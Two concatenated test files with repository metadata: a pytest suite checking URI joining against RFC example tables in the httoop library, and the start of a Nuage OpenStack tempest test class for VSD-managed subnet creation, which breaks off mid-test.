2015-01-07T19:39:02.000Z

2021-07-12T21:09:28.000Z

tests/uri/test_uri_joining.py

spaceone/httoop

99f5f51a6ebab4bfdfd02d3705a0bffb5379b4a9

[ "MIT" ]

9

2015-06-14T11:37:26.000Z

2020-12-11T09:12:30.000Z

tests/uri/test_uri_joining.py

spaceone/httoop

99f5f51a6ebab4bfdfd02d3705a0bffb5379b4a9

[ "MIT" ]

10

2015-05-28T05:51:46.000Z

2021-12-29T20:36:15.000Z

from __future__ import unicode_literals import pytest from httoop import URI RFC1808_BASE = b'http://a/b/c/d;p?q#f' RFC2396_BASE = b'http://a/b/c/d;p?q' RFC3986_BASE = b'http://a/b/c/d;p?q' SIMPLE_BASE = b'http://a/b/c/d' uri_join = { RFC3986_BASE: [ # RFC 3986 Normal examples (b'g:h', b'g:h'), (b'g', b'http://a/b/c/g'), (b'./g', b'http://a/b/c/g'), (b'g/', b'http://a/b/c/g/'), (b'/g', b'http://a/g'), (b'//g', b'http://g'), (b'?y', b'http://a/b/c/d;p?y'), (b'g?y', b'http://a/b/c/g?y'), (b'#s', b'http://a/b/c/d;p?q#s'), (b'g#s', b'http://a/b/c/g#s'), (b'g?y#s', b'http://a/b/c/g?y#s'), (b';x', b'http://a/b/c/;x'), (b'g;x', b'http://a/b/c/g;x'), (b'g;x?y#s', b'http://a/b/c/g;x?y#s'), (b'', b'http://a/b/c/d;p?q'), (b'.', b'http://a/b/c/'), (b'./', b'http://a/b/c/'), (b'..', b'http://a/b/'), (b'../', b'http://a/b/'), (b'../g', b'http://a/b/g'), (b'../..', b'http://a/'), (b'../../', b'http://a/'), (b'../../g', b'http://a/g'), # RFC 3986 abnormal examples), (b'../../../g', b'http://a/g'), (b'../../../../g', b'http://a/g'), (b'/./g', b'http://a/g'), (b'/../g', b'http://a/g'), (b'g.', b'http://a/b/c/g.'), (b'.g', b'http://a/b/c/.g'), (b'g..', b'http://a/b/c/g..'), (b'..g', b'http://a/b/c/..g'), (b'./../g', b'http://a/b/g'), (b'./g/.', b'http://a/b/c/g/'), (b'g/./h', b'http://a/b/c/g/h'), (b'g/../h', b'http://a/b/c/h'), (b'g;x=1/./y', b'http://a/b/c/g;x=1/y'), (b'g;x=1/../y', b'http://a/b/c/y'), (b'g?y/./x', b'http://a/b/c/g?y/./x'), (b'g?y/../x', b'http://a/b/c/g?y/../x'), (b'g#s/./x', b'http://a/b/c/g#s/./x'), (b'g#s/../x', b'http://a/b/c/g#s/../x'), (b'http:g', b'http:g'), # own examples (b'//', b'http://a/b/c/d;p?q'), (b'g%3ah', b'http://a/b/c/g:h'), ], SIMPLE_BASE: [ (b'g:h', b'g:h'), #(b'http:g', b'http://a/b/c/g'), #(b'http:', b'http://a/b/c/d'), (b'g', b'http://a/b/c/g'), (b'./g', b'http://a/b/c/g'), (b'g/', b'http://a/b/c/g/'), (b'/g', b'http://a/g'), (b'//g', b'http://g'), (b'?y', b'http://a/b/c/d?y'), (b'g?y', b'http://a/b/c/g?y'), (b'g?y/./x', b'http://a/b/c/g?y/./x'), (b'.', b'http://a/b/c/'), (b'./', b'http://a/b/c/'), (b'..', b'http://a/b/'), (b'../', b'http://a/b/'), (b'../g', b'http://a/b/g'), (b'../..', b'http://a/'), (b'../../g', b'http://a/g'), (b'./../g', b'http://a/b/g'), (b'./g/.', b'http://a/b/c/g/'), (b'g/./h', b'http://a/b/c/g/h'), (b'g/../h', b'http://a/b/c/h'), #(b'http:g', b'http://a/b/c/g'), #(b'http:', b'http://a/b/c/d'), #(b'http:?y', b'http://a/b/c/d?y'), #(b'http:g?y', b'http://a/b/c/g?y'), #(b'http:g?y/./x', b'http://a/b/c/g?y/./x'), ], RFC2396_BASE: [ (b'g:h', b'g:h'), (b'g', b'http://a/b/c/g'), (b'./g', b'http://a/b/c/g'), (b'g/', b'http://a/b/c/g/'), (b'/g', b'http://a/g'), (b'//g', b'http://g'), (b'g?y', b'http://a/b/c/g?y'), (b'#s', b'http://a/b/c/d;p?q#s'), (b'g#s', b'http://a/b/c/g#s'), (b'g?y#s', b'http://a/b/c/g?y#s'), (b'g;x', b'http://a/b/c/g;x'), (b'g;x?y#s', b'http://a/b/c/g;x?y#s'), (b'.', b'http://a/b/c/'), (b'./', b'http://a/b/c/'), (b'..', b'http://a/b/'), (b'../', b'http://a/b/'), (b'../g', b'http://a/b/g'), (b'../..', b'http://a/'), (b'../../', b'http://a/'), (b'../../g', b'http://a/g'), (b'', RFC2396_BASE), (b'g.', b'http://a/b/c/g.'), (b'.g', b'http://a/b/c/.g'), (b'g..', b'http://a/b/c/g..'), (b'..g', b'http://a/b/c/..g'), (b'./../g', b'http://a/b/g'), (b'./g/.', b'http://a/b/c/g/'), (b'g/./h', b'http://a/b/c/g/h'), (b'g/../h', b'http://a/b/c/h'), (b'g;x=1/./y', b'http://a/b/c/g;x=1/y'), (b'g;x=1/../y', b'http://a/b/c/y'), (b'g?y/./x', b'http://a/b/c/g?y/./x'), (b'g?y/../x', b'http://a/b/c/g?y/../x'), (b'g#s/./x', b'http://a/b/c/g#s/./x'), (b'g#s/../x', b'http://a/b/c/g#s/../x'), ], # "normal" cases from RFC 1808: RFC1808_BASE: [ (b'g:h', b'g:h'), (b'g', b'http://a/b/c/g'), (b'./g', b'http://a/b/c/g'), (b'g/', b'http://a/b/c/g/'), (b'/g', b'http://a/g'), (b'//g', b'http://g'), (b'g?y', b'http://a/b/c/g?y'), (b'g?y/./x', b'http://a/b/c/g?y/./x'), (b'#s', b'http://a/b/c/d;p?q#s'), (b'g#s', b'http://a/b/c/g#s'), (b'g#s/./x', b'http://a/b/c/g#s/./x'), (b'g?y#s', b'http://a/b/c/g?y#s'), (b'g;x', b'http://a/b/c/g;x'), (b'g;x?y#s', b'http://a/b/c/g;x?y#s'), (b'.', b'http://a/b/c/'), (b'./', b'http://a/b/c/'), (b'..', b'http://a/b/'), (b'../', b'http://a/b/'), (b'../g', b'http://a/b/g'), (b'../..', b'http://a/'), (b'../../', b'http://a/'), (b'../../g', b'http://a/g'), (b'', b'http://a/b/c/d;p?q#f'), (b'g.', b'http://a/b/c/g.'), (b'.g', b'http://a/b/c/.g'), (b'g..', b'http://a/b/c/g..'), (b'..g', b'http://a/b/c/..g'), (b'./../g', b'http://a/b/g'), (b'./g/.', b'http://a/b/c/g/'), (b'g/./h', b'http://a/b/c/g/h'), (b'g/../h', b'http://a/b/c/h'), ] } further = [ (b'http://a/b/c/de', b';x', b'http://a/b/c/;x'), (b'a', b'b', b'b'), # don't duplicate filename #pytest.mark.xfail((b'http:///', b'..','http:///'), reason='The // is stripped due to normalization.'), (b'', b'http://a/b/c/g?y/./x', b'http://a/b/c/g?y/./x'), #pytest.mark.xfail((b'', b'http://a/./g', b'http://a/./g'), reason='The dot is stripped due to normalization'), (b'svn://pathtorepo/dir1', b'dir2', b'svn://pathtorepo/dir2'), (b'svn+ssh://pathtorepo/dir1', b'dir2', b'svn+ssh://pathtorepo/dir2'), (SIMPLE_BASE + b'/', b'foo', SIMPLE_BASE + b'/foo'), (b'http://a/b/c/d/e/', b'../../f/g/', b'http://a/b/c/f/g/'), (b'http://a/b/c/d/e', b'../../f/g/', b'http://a/b/f/g/'), (b'http://a/b/c/d/e/', b'/../../f/g/', b'http://a/f/g/'), (b'http://a/b/c/d/e', b'/../../f/g/', b'http://a/f/g/'), (b'http://a/b/c/d/e/', b'../../f/g', b'http://a/b/c/f/g'), (b'http://a/b/', b'../../f/g/', b'http://a/f/g/'), ] for base, rel, abs_ in further: uri_join.setdefault(base, []).append((rel, abs_)) @pytest.mark.parametrize('base,relative,expected', [(base, relative, expected) for base, relative_expected in uri_join.items() for (relative, expected) in relative_expected]) def test_uri_join(base, relative, expected): uri = URI(base).join(relative) assert uri == expected @pytest.mark.parametrize('base,relative,expected', [(base, relative, expected) for base, relative_expected in uri_join.items() for (relative, expected) in relative_expected]) def test_uri_join_very_strict(base, relative, expected): uri = URI(base).join(relative) assert bytes(uri) == bytes(expected) #@pytest.mark.parametrize('expected,got,relative', [(expected, bytes(URI(base).join(relative)), relative) for base, relative_expected in uri_join.items() for (relative, expected) in relative_expected]) #def test_uri_join_very_strict(expected, got, relative): # assert expected == got

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12

f21be65a5e64a32fdb21a9ffd41e6ecaf97d9df3

34,586

py

Python

nuage_tempest_plugin/tests/api/vsd_managed/test_vsd_public_resources_ml2.py

nuagenetworks/nuage-tempest-plugin

ac1bfb0709c7bbaf04017af3050fb3ed1ad1324a

[ "Apache-1.1" ]

1

2021-01-03T01:47:51.000Z

nuage_tempest_plugin/tests/api/vsd_managed/test_vsd_public_resources_ml2.py

nuagenetworks/nuage-tempest-plugin

ac1bfb0709c7bbaf04017af3050fb3ed1ad1324a

[ "Apache-1.1" ]

null

nuage_tempest_plugin/tests/api/vsd_managed/test_vsd_public_resources_ml2.py

nuagenetworks/nuage-tempest-plugin

ac1bfb0709c7bbaf04017af3050fb3ed1ad1324a

[ "Apache-1.1" ]

1

2020-10-16T12:04:39.000Z

# Copyright 2018 NOKIA # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from netaddr import IPNetwork from tempest.lib import exceptions from tempest.test import decorators from nuage_tempest_plugin.lib.test import nuage_test from nuage_tempest_plugin.lib.test import tags from nuage_tempest_plugin.lib.topology import Topology from nuage_tempest_plugin.tests.api.vsd_managed \ import base_vsd_managed_networks from nuage_tempest_plugin.tests.api.vsd_managed \ import base_vsd_public_resources OS_FULL_CIDR24_RANGE = 254 # .256 -1 (.0) -1 (.255) VSD_L2_SHARED_MGD_OPT3_CIDR = IPNetwork('21.21.21.0/24') VSD_L2_SHARED_MGD_OPT3_GW = '21.21.21.1' VSD_L2_SHARED_MGD_OPT3 = '21.21.21.121' VSD_L3_SHARED_MGD_OPT3_CIDR = IPNetwork('31.31.31.0/24') VSD_L3_SHARED_MGD_OPT3_GW = '31.31.31.1' VSD_L3_SHARED_MGD_OPT3 = '31.31.31.131' # VALID_CIDR = IPNetwork('3.22.111.0/24') VALID_CIDR_GW = '3.22.111.1' # EXPECT_DHCP_ENABLE_TRUE = "enable_dhcp in subnet must be True" EXPECT_DHCP_ENABLE_FALSE = "enable_dhcp in subnet must be False" EXPECT_CIDRS_DO_NOT_MATCH = "do not match" EXPECT_GATEWAY_IN_CIDR = "Invalid input for operation: " \ "Gateway is not valid on subnet." @nuage_test.class_header(tags=[tags.ML2, tags.VSD_MANAGED]) class VSDPublicResourcesML2Test( base_vsd_public_resources.BaseVSDPublicResources): os_shared_network = False if Topology.before_openstack('Newton'): failure_type = exceptions.ServerFault dhcp_port = False else: failure_type = exceptions.BadRequest dhcp_port = True @classmethod def skip_checks(cls): super(VSDPublicResourcesML2Test, cls).skip_checks() if not Topology.is_ml2: raise cls.skipException('Skipping ml2 tests with ' 'nuage-core plugin') @nuage_test.header() def test_vsd_l2_shared_unmgd_l2_unmgd_without_gw_ip(self): # Given I have a VSD-L2-domain without IPAM (i.e. UnManaged) # And I have a VSD-L2-Shared-domain without IPAM (i.e. UnManaged) # and these are linked vsd_l2dom_unmgd = self._given_vsdl2sharedunmgd_lnkd_to_vsdl2domunmgd() self._check_vsd_l2_shared_l2_unmgd( vsd_l2dom_unmgd=vsd_l2dom_unmgd, # When I create an OS subnet with # enable_dhcp == False # a valid CIDR # nuagenet == UUID of VSD-L2-domain # no IP os_shared_network=self.os_shared_network, enable_dhcp=False, cidr=VALID_CIDR, gateway_ip='', # Then the OS subnet has # an OS allocation pool covering the full CIDR range # gateway_ip equal to None expected_gateway_ip=None, # and has no network:dhcp:nuage port expect_network_dhcp_nuage_port=False, # When I spin a VM in this network # Then the OS VM-IP-address is in the valid CIDR range # And the VM-interface-IP-address in the VSD-L2-domain is empty expect_vm_ip_addresses_equal='' ) @nuage_test.header() def test_vsd_l2_shared_unmgd_l2_unmgd_with_gw_ip_neg(self): # Pass on liberty, fail on kilo # Given I have a VSD-L2-domain without IPAM (i.e. UnManaged) # And I have a VSD-L2-Shared-domain without IPAM (i.e. UnManaged) # and these are linked vsd_l2dom_unmgd = self._given_vsdl2sharedunmgd_lnkd_to_vsdl2domunmgd() self._check_vsd_l2_shared_l2_unmgd( vsd_l2dom_unmgd=vsd_l2dom_unmgd, # When I create an OS subnet with # enable_dhcp == False # a valid CIDR # nuagenet == UUID of VSD-L2-domain os_shared_network=self.os_shared_network, enable_dhcp=False, gateway_ip=VALID_CIDR_GW, cidr=VALID_CIDR, # Then the OS subnet has # an OS allocation pool covering the full CIDR range # gateway_ip equal to None expected_gateway_ip=None, # and no network:dhcp:nuage port expect_network_dhcp_nuage_port=False, # When I spin a VM in this network # Then the OS VM-IP-address is in the valid CIDR range # And the VM-interface-IP-address in the VSD-L2-domain is empty expect_vm_ip_addresses_equal='' ) @nuage_test.header() def test_vsd_l2_shared_unmgd_l2_unmgd_no_gateway(self): # Given I have a VSD-L2-domain without IPAM (i.e. UnManaged) # And I have a VSD-L2-Shared-domain without IPAM (i.e. UnManaged) # And these are linked vsd_l2dom_unmgd = self._given_vsdl2sharedunmgd_lnkd_to_vsdl2domunmgd() self._check_vsd_l2_shared_l2_unmgd( vsd_l2dom_unmgd=vsd_l2dom_unmgd, # When I create an OS subnet with # enable_dhcp == False # a valid CIDR # nuagenet == UUID of VSD-L2-domain # no-gateway os_shared_network=self.os_shared_network, enable_dhcp=False, cidr=VALID_CIDR, gateway_ip=None, # Then the OS subnet has # gateway_ip equal to None expected_gateway_ip=None, # and no network:dhcp:nuage port expect_network_dhcp_nuage_port=False, # When I spin a VM in this network # Then the OS VM-IP-address is in the valid CIDR range # And the VM-interface-IP-address in the VSD-L2-domain is empty expect_vm_ip_addresses_equal='' ) @nuage_test.header() def test_vsd_l2_shared_mgd_l2_unmgd_without_gateway(self): # Given I have a VSD-L2-domain without IPAM (i.e. UnManaged) # And I have a VSD-L2-Shared-domain without IPAM (i.e. UnManaged) # And these are linked vsd_l2dom_unmgd = self._given_vsdl2sharedmgd_lnkd_to_vsdl2domunmgd() self._check_vsd_l2_shared_l2_unmgd( vsd_l2dom_unmgd=vsd_l2dom_unmgd, # When I create an OS subnet with # enable_dhcp == False # a valid CIDR # nuagenet == UUID of VSD-L2-domain os_shared_network=self.os_shared_network, enable_dhcp=True, cidr=base_vsd_managed_networks.VSD_L2_SHARED_MGD_CIDR, gateway_ip='', # Then the OS subnet has # gateway_ip equal to None expected_gateway_ip=None, # and network:dhcp:nuage port exist from Newton onwards expect_network_dhcp_nuage_port=self.dhcp_port, # When I spin a VM in this network # Then the OS VM-IP-address is in the valid CIDR range # And the VM-interface-IP-address in the VSD-L2-domain is empty expect_vm_ip_addresses_equal=True ) @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l2_shared_mgd_l2_unmgd_with_gw_neg(self): # Given I have a VSD-L2-domain without IPAM (i.e. unmanaged) # And I have a VSD-L2-Shared-domain with IPAM (i.e. managed) # And these are linked vsd_l2dom_unmgd = self._given_vsdl2sharedmgd_lnkd_to_vsdl2domunmgd() if Topology.at_openstack('kilo'): self.assertRaisesRegex( exceptions.ServerFault, "create_subnet_postcommit failed.", self._check_vsd_l2_shared_l2_unmgd, vsd_l2dom_unmgd=vsd_l2dom_unmgd, os_shared_network=self.os_shared_network, enable_dhcp=True, cidr=base_vsd_managed_networks.VSD_L2_SHARED_MGD_CIDR, gateway_ip=base_vsd_managed_networks.VSD_L2_SHARED_MGD_GW, expect_network_dhcp_nuage_port=False, expected_gateway_ip=None, expect_vm_ip_addresses_equal=True ) else: # In ML2 Liberty this is not a negative test so it should pass self._check_vsd_l2_shared_l2_unmgd( vsd_l2dom_unmgd=vsd_l2dom_unmgd, # When I create an OS subnet with # enable_dhcp == False # a valid CIDR # nuagenet == UUID of VSD-L2-domain os_shared_network=self.os_shared_network, enable_dhcp=True, cidr=base_vsd_managed_networks.VSD_L2_SHARED_MGD_CIDR, gateway_ip=base_vsd_managed_networks.VSD_L2_SHARED_MGD_GW, # Then the OS subnet has # gateway_ip equal to None expected_gateway_ip=None, # and no network:dhcp:nuage port expect_network_dhcp_nuage_port=self.dhcp_port, # When I spin a VM in this network # Then the OS VM-IP-address is in the valid CIDR range # And the VM-interface-IP-address in the VSD-L2-domain is empty expect_vm_ip_addresses_equal=True ) @nuage_test.header() def test_vsd_l2_shared_mgd_l2_unmgd_no_gateway(self): # Given I have a VSD-L2-domain without IPAM (i.e. unmanaged) # And I have a VSD-L2-Shared-domain with IPAM (i.e. managed) # And these are linked vsd_l2dom_unmgd = self._given_vsdl2sharedmgd_lnkd_to_vsdl2domunmgd() self._check_vsd_l2_shared_l2_unmgd( vsd_l2dom_unmgd=vsd_l2dom_unmgd, # When I create an OS subnet with # enable_dhcp == True # CIDR == CIDR of VSD-L2-Shared-domain # nuagenet == UUID of VSD-L2-domain # no-gateway os_shared_network=self.os_shared_network, enable_dhcp=True, cidr=base_vsd_managed_networks.VSD_L2_SHARED_MGD_CIDR, gateway_ip=None, # Then the OS subnet has # gateway_ip equal to None expected_gateway_ip=None, # and no network:dhcp:nuage port expect_network_dhcp_nuage_port=self.dhcp_port, # When I spin a VM in this network # Then the OS VM-IP-address is in the CIDR range # And the VM-interface-IP-address in the VSD-L2-domain equals # the OS VM-IP-address expect_vm_ip_addresses_equal=True ) @nuage_test.header() def test_vsd_l2_shared_mgd_opt3_l2_unmgd_without_gw_neg(self): # Given I have a VSD-L2-domain without IPAM (i.e. unmanaged) # And I have a VSD-L2-Shared-domain with IPAM (i.e. managed) # with DHCP-option 3 set # And these are linked vsd_l2dom_unmgd = \ self._given_vsdl2sharedmgdopt3_linked_to_vsdl2domunmgd( VSD_L2_SHARED_MGD_OPT3) self._create_vsd_mgd_subnet( vsd_l2dom_unmgd, os_shared_network=self.os_shared_network, enable_dhcp=True, cidr=VSD_L2_SHARED_MGD_OPT3_CIDR, gateway_ip='', # bad, must be VSD_L2_SHARED_MGD_OPT3 must_fail=True) @nuage_test.header() def test_vsd_l2_shared_mgd_opt3_l2_unmgd_with_gateway(self): # Given I have a VSD-L2-domain without IPAM (i.e. unmanaged) # And I have a VSD-L2-Shared-domain with IPAM (i.e. managed) # with DHCP-option 3 set # and these are linked vsd_l2dom_unmgd = \ self._given_vsdl2sharedmgdopt3_linked_to_vsdl2domunmgd( VSD_L2_SHARED_MGD_OPT3) self._check_vsd_l2_shared_l2_unmgd( vsd_l2dom_unmgd=vsd_l2dom_unmgd, # When I create an OS subnet with # enable_dhcp == True # CIDR == CIDR of VSD-L2-Shared-domain # nuagenet == UUID of VSD-L2-domain # gateway-ip == gateway-ip in DHCP-option-3 os_shared_network=self.os_shared_network, enable_dhcp=True, cidr=VSD_L2_SHARED_MGD_OPT3_CIDR, gateway_ip=VSD_L2_SHARED_MGD_OPT3, # Then the OS subnet has # gateway_ip equal to DHCP-options-3 of VSD-L2-Shared-domain expected_gateway_ip=VSD_L2_SHARED_MGD_OPT3, # and network:dhcp:nuage port exist from Newton onwards expect_network_dhcp_nuage_port=self.dhcp_port, # When I spin a VM in this network # Then the OS VM-IP-address is in the CIDR range # And the VM-interface-IP-address in the VSD-L2-domain equals # the OS VM-IP-address expect_vm_ip_addresses_equal=True ) @nuage_test.header() @decorators.attr(type=['negative']) def test_vsd_l2_shared_mgd_opt3_l2_unmgd_no_gateway(self): # Given I have a VSD-L2-domain without IPAM (i.e. unmanaged) # And I have a VSD-L2-Shared-domain with IPAM (i.e. managed) # with DHCP-option 3 set # and these are linked # Then I expect a failure from OS # Supported only when dhcp_option-3 is NOT set vsd_l2dom_unmgd = \ self._given_vsdl2sharedmgdopt3_linked_to_vsdl2domunmgd( VSD_L2_SHARED_MGD_OPT3) self._create_vsd_mgd_subnet( vsd_l2dom_unmgd, os_shared_network=self.os_shared_network, enable_dhcp=True, cidr=VSD_L2_SHARED_MGD_OPT3_CIDR, gateway_ip=None, # bad, must be VSD_L2_SHARED_MGD_OPT3 must_fail=True) @nuage_test.header() def test_vsd_l3_shared_mgd_l3_unmgd_without_gateway(self): # Given I have a VSD-L3-domain in a public zone # (i.e. without IPAM (/ UnManaged) # And I have a VSD-L3-Shared-domain with IPAM (i.e. Managed) # and these are linked vsd_l3_unmgd_subnet = \ self._given_vsdl3sharedmgd_lnkd_to_vsdl2subnetunmgd() self._check_vsd_l3_shared_l2_unmgd( # When I create an OS subnet with # enable_dhcp == True # CIDR == CIDR of VSD-L3-Shared-domain # nuagenet == UUID of VSD-L3-domain-public-zone-subnet vsd_l3_dom_subnet=vsd_l3_unmgd_subnet, os_shared_network=self.os_shared_network, enable_dhcp=True, cidr=base_vsd_managed_networks.VSD_L3_SHARED_MGD_CIDR, gateway_ip='', # Then the OS subnet has # gateway_ip equal to gateway-ip of VSD-L3-Shared-domain expected_gateway_ip=base_vsd_managed_networks.VSD_L3_SHARED_MGD_GW, # and network:dhcp:nuage port exist from Newton onwards expect_network_dhcp_nuage_port=self.dhcp_port, # When I spin a VM in this network # Then the OS VM-IP-address is in the CIDR range # And the VM-interface-IP-address in the VSD-L3-domain equals # the OS VM-IP-address # And the VM-interface-IP-address is different from the # gateway_ip address expect_vm_ip_addresses_equal=True ) @nuage_test.header() @decorators.attr(type='smoke') def test_vsd_l3_shared_mgd_l3_unmgd_with_gateway(self): # Given I have a VSD-L3-domain without IPAM (i.e. UnManaged) # And I have a VSD-L3-Shared-domain with IPAM (i.e. Managed) # and these are linked vsd_l3_unmgd_subnet = \ self._given_vsdl3sharedmgd_lnkd_to_vsdl2subnetunmgd() self._check_vsd_l3_shared_l2_unmgd( vsd_l3_dom_subnet=vsd_l3_unmgd_subnet, os_shared_network=self.os_shared_network, # When I create an OS subnet with # enable_dhcp == True # CIDR == CIDR of VSD-L3-Shared-domain # nuagenet == UUID of VSD-L3-domain # gateway-ip == gateway-ip of VSD-L3-Shared-domain enable_dhcp=True, cidr=base_vsd_managed_networks.VSD_L3_SHARED_MGD_CIDR, gateway_ip=base_vsd_managed_networks.VSD_L3_SHARED_MGD_GW, # Then the OS subnet has # gateway_ip equal to gateway-ip of VSD-L3-Shared-domain expected_gateway_ip=base_vsd_managed_networks.VSD_L3_SHARED_MGD_GW, # and network:dhcp:nuage port exist from Newton onwards expect_network_dhcp_nuage_port=self.dhcp_port, # # When I spin a VM in this network # Then the OS VM-IP-address is in the CIDR range # And the VM-interface-IP-address in the VSD-L3-domain equals # the OS VM-IP-address # And the OS VM-IP-address is different from the gateway-ip expect_vm_ip_addresses_equal=True ) @nuage_test.header() def test_vsd_l3_shared_mgd_l3_unmgd_no_gateway_neg(self): # Given I have a VSD-L3-domain without IPAM (i.e. UnManaged) # And I have a VSD-L3-Shared-domain with IPAM (i.e. Managed) # and these are linked vsd_l3_unmgd_subnet = \ self._given_vsdl3sharedmgd_lnkd_to_vsdl2subnetunmgd() self._create_vsd_mgd_subnet( vsd_l3_unmgd_subnet, os_shared_network=self.os_shared_network, enable_dhcp=True, cidr=VSD_L2_SHARED_MGD_OPT3_CIDR, gateway_ip=None, # bad, must be <base>.VSD_L3_SHARED_MGD_GW must_fail=True) @nuage_test.header() def test_vsd_l3_shared_mgd_opt3_l2_unmgd_with_gateway(self): # Given I have a VSD-L3-domain without IPAM (i.e. UnManaged) # And I have a VSD-L3-Shared-domain with IPAM (i.e. Managed) # with DHCP-options-3 # and these are linked vsd_l3_unmgd_subnet = \ self._given_vsdl3sharedmgdopt3_linked_to_vsdl3subnetunmgd( VSD_L3_SHARED_MGD_OPT3) self._check_vsd_l3_shared_l2_unmgd( vsd_l3_dom_subnet=vsd_l3_unmgd_subnet, os_shared_network=self.os_shared_network, # When I create an OS subnet with # enable_dhcp == True # CIDR == CIDR of VSD-L3-Shared-domain # nuagenet == UUID of VSD-L3-domain # gateway-ip == gateway-ip of VSD-L3-Shared-domain enable_dhcp=True, cidr=VSD_L3_SHARED_MGD_OPT3_CIDR, gateway_ip=VSD_L3_SHARED_MGD_OPT3_GW, # Then the OS subnet has # an OS allocation pool covering the full CIDR range # (except the GW-ip) # gateway_ip equal to gateway-ip of VSD-L3-Shared-domain expected_gateway_ip=VSD_L3_SHARED_MGD_OPT3_GW, # and network:dhcp:nuage port exist from Newton onwards expect_network_dhcp_nuage_port=self.dhcp_port, # When I spin a VM in this network # Then the OS VM-IP-address is in the CIDR range # And the VM-interface-IP-address in the VSD-L3-domain equals # the OS VM-IP-address # And the OS VM-IP-address is different from the gateway-ip expect_vm_ip_addresses_equal=True ) def test_vsd_l3_shared_mgd_opt3_0000_l2_unmgd_with_gateway(self): # Given I have a VSD-L3-domain without IPAM (i.e. UnManaged) # And I have a VSD-L3-Shared-domain with IPAM (i.e. Managed) # with DHCP-options-3 0.0.0.0 # and these are linked vsd_l3_unmgd_subnet = \ self._given_vsdl3sharedmgdopt3_linked_to_vsdl3subnetunmgd( dhcp_option_3='0.0.0.0') self._check_vsd_l3_shared_l2_unmgd( vsd_l3_dom_subnet=vsd_l3_unmgd_subnet, os_shared_network=self.os_shared_network, # When I create an OS subnet with # enable_dhcp == True # CIDR == CIDR of VSD-L3-Shared-domain # nuagenet == UUID of VSD-L3-domain # gateway-ip == gateway-ip of VSD-L3-Shared-domain enable_dhcp=True, cidr=VSD_L3_SHARED_MGD_OPT3_CIDR, gateway_ip=VSD_L3_SHARED_MGD_OPT3_GW, # Then the OS subnet has # an OS allocation pool covering the full CIDR range # (except the GW-ip) # gateway_ip equal to gateway-ip of VSD-L3-Shared-domain expected_gateway_ip=VSD_L3_SHARED_MGD_OPT3_GW, # and network:dhcp:nuage port exist from Newton onwards expect_network_dhcp_nuage_port=self.dhcp_port, # When I spin a VM in this network # Then the OS VM-IP-address is in the CIDR range # And the VM-interface-IP-address in the VSD-L3-domain equals # the OS VM-IP-address # And the OS VM-IP-address is different from the gateway-ip expect_vm_ip_addresses_equal=True, ) # ######################################################################### # # Negative testcases # ######################################################################### @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l2_shared_unmgd_l2_unmgd_wo_gw_enable_dhcp_neg( self): # Given I have a VSD-L2-domain without IPAM (i.e. unmanaged) # And I have a VSD-L2-Shared-domain without IPAM (i.e. UnManaged) # And these are linked vsd_l2dom = self._given_vsdl2sharedunmgd_lnkd_to_vsdl2domunmgd() self._create_vsd_mgd_subnet( vsd_l2dom, os_shared_network=self.os_shared_network, enable_dhcp=True, # bad cidr=VALID_CIDR, # any CIDR, doesn't matter gateway_ip='', must_fail=True) @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l2_shared_mgd_l2_unmgd_wo_gw_no_dhcp_neg(self): # Given I have a VSD-L2-domain without IPAM (i.e. unmanaged) # And I have a VSD-L2-Shared-domain with IPAM (i.e. managed) # And these are linked vsd_l2dom = self._given_vsdl2sharedmgd_lnkd_to_vsdl2domunmgd() self._create_vsd_mgd_subnet( vsd_l2dom, os_shared_network=self.os_shared_network, enable_dhcp=False, # bad cidr=base_vsd_managed_networks.VSD_L2_SHARED_MGD_CIDR, gateway_ip='', must_fail=True) @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l2_shared_mgd_l2_unmgd_with_gw_no_dhcp_neg(self): # Given I have a VSD-L2-domain without IPAM (i.e. unmanaged) # And I have a VSD-L2-Shared-domain with IPAM (i.e. managed) # And these are linked vsd_l2dom = self._given_vsdl2sharedmgd_lnkd_to_vsdl2domunmgd() self._create_vsd_mgd_subnet( vsd_l2dom, os_shared_network=self.os_shared_network, enable_dhcp=False, # bad cidr=base_vsd_managed_networks.VSD_L2_SHARED_MGD_CIDR, gateway_ip=base_vsd_managed_networks.VSD_L2_SHARED_MGD_GW, must_fail=True) @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l2_shared_mgd_l2_unmgd_no_gw_no_dhcp_neg(self): # Given I have a VSD-L2-domain without IPAM (i.e. unmanaged) # And I have a VSD-L2-Shared-domain with IPAM (i.e. managed) # And these are linked vsd_l2dom = self._given_vsdl2sharedmgd_lnkd_to_vsdl2domunmgd() self._create_vsd_mgd_subnet( vsd_l2dom, os_shared_network=self.os_shared_network, enable_dhcp=False, # bad cidr=base_vsd_managed_networks.VSD_L2_SHARED_MGD_CIDR, gateway_ip=None, must_fail=True) @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l2_shared_mgd_l2_unmgd_wo_gw_cidr_mismatch_neg(self): # Given I have a VSD-L2-domain without IPAM (i.e. unmanaged) # And I have a VSD-L2-Shared-domain with IPAM (i.e. managed) # And these are linked vsd_l2dom = self._given_vsdl2sharedmgd_lnkd_to_vsdl2domunmgd() self._create_vsd_mgd_subnet( vsd_l2dom, os_shared_network=self.os_shared_network, enable_dhcp=True, cidr=VALID_CIDR, # bad gateway_ip='', must_fail=True) @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l2_shared_mgd_l2_unmgd_with_gw_cidr_mismatch_neg(self): # Given I have a VSD-L2-domain without IPAM (i.e. unmanaged) # And I have a VSD-L2-Shared-domain with IPAM (i.e. managed) # And these are linked vsd_l2dom = self._given_vsdl2sharedmgd_lnkd_to_vsdl2domunmgd() self._create_vsd_mgd_subnet( vsd_l2dom, os_shared_network=self.os_shared_network, enable_dhcp=True, cidr=VALID_CIDR, # bad gateway_ip=VALID_CIDR_GW, must_fail=True) @decorators.attr(type=['negative']) @nuage_test.header() def test_vsd_l2_shared_mgd_l2_no_gw_unmgd_cidr_mismatch_neg(self): # Given I have a VSD-L2-domain without IPAM (i.e. unmanaged) # And I have a VSD-L2-Shared-domain with IPAM (i.e. managed) # And these are 